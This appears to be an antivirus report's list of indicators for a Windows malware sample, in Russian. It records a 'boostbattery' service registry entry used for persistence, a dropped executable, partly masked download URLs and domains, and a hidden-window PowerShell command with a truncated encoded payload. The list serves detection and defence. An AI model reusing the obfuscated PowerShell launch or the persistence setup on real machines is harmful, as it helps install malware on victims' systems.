Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\boostbattery] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\boostbattery] 'ImagePath' = '"%WINDIR%\SysWOW64\boostbattery.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABNAGEAdQB0AGsAZAB0AHIAcAB6AGYAeQBkAD0AJwBUAHgAZgB5AHYAawBoAHcAJwA7ACQARQBlAHcAbABsAGEAdwBoAHYAdABuACAAPQAgACcAOAA1ADMAJwA7ACQAVgBpAGoAdAB6AG4AbwByAHMAZQB6AGwAcAA9ACcAVwBwAGYAcQBuAGkAcQB...
- %HOMEPATH%\853.exe
- %HOMEPATH%\853.exe в %WINDIR%\syswow64\boostbattery.exe
- http://ta####ingshop.com/c1/ftcfak9456/
- http://11#.#19.233.65/merge/jit/ringin/merge/
- DNS ASK ta####ingshop.com
- DNS ASK qu####utwall.xyz
- '%HOMEPATH%\853.exe'
- '%WINDIR%\syswow64\boostbattery.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABNAGEAdQB0AGsAZAB0AHIAcAB6AGYAeQBkAD0AJwBUAHgAZgB5AHYAawBoAHcAJwA7ACQARQBlAHcAbABsAGEAdwBoAHYAdABuACAAPQAgACcAOAA1ADMAJwA7ACQAVgBpAGoAdAB6AG4AbwByAHMAZQB6AGwAcAA9ACcAVwBwAGYAcQBuAGkAcQB...' (со скрытым окном)